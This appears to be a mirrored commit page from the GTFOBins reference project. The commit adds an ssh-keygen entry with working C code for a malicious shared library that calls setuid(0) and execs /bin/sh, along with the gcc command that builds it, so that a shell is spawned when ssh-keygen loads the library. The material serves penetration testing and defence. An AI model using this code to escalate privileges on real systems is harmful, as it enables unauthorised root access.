mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
update ssh-keygen with exploit code
This commit is contained in:
parent
4eca50ea16
commit
8c873ee5bb
@ -1,4 +1,26 @@
|
||||
---
|
||||
description: |
|
||||
A Shared Library is loaded by the application and executed. You can create a shared library with the following code:
|
||||
```c
|
||||
#include <unistd.h>
|
||||
|
||||
void C_GetFunctionList(){
|
||||
char *argv[] = {"/bin/sh", NULL};
|
||||
setuid(0);
|
||||
execve(argv[0], argv, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compile it with:
|
||||
```sh
|
||||
gcc -shared -o lib.so -fPIC lib.c
|
||||
```
|
||||
Note: You can also define a constructor function to execute code when the library is loaded. But the `C_GetFunctionList` string needs to be present.
|
||||
|
||||
functions:
|
||||
library-load:
|
||||
- description: |
|
||||
|
Loading…
Reference in New Issue
Block a user